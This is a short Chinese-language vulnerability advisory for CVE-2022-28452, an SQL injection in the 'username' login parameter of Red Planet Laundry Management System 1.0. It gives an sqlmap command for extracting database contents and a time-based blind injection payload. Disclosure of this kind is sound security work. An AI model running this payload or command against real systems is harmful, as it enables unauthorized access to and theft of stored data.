Red Planet 洗衣管理系统 1.0 存在 SQL 注入漏洞

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28452 https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-28452 https://laundry.redplanetcomputers.com/

1-描述：

Red Planet 洗衣管理系统 1.0 通过 /index.php/login/rediract 中的参数 'username' 存在 SQL 注入漏洞。利用此问题可让攻击者危害应用程序、访问或修改数据，或利用底层数据库中潜在的漏洞。

2-概念验证（PoC）：

在 Burpsuite 中拦截受影响页面带有 'username' 参数的请求，并将其保存为 poc.txt，然后运行 SQLmap 从数据库中提取数据： sqlmap.py -r poc.txt --dbms=mysql

3-示例载荷：

URL 编码的 POST 输入参数 username 被设置为 0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z

联系方式： [email protected]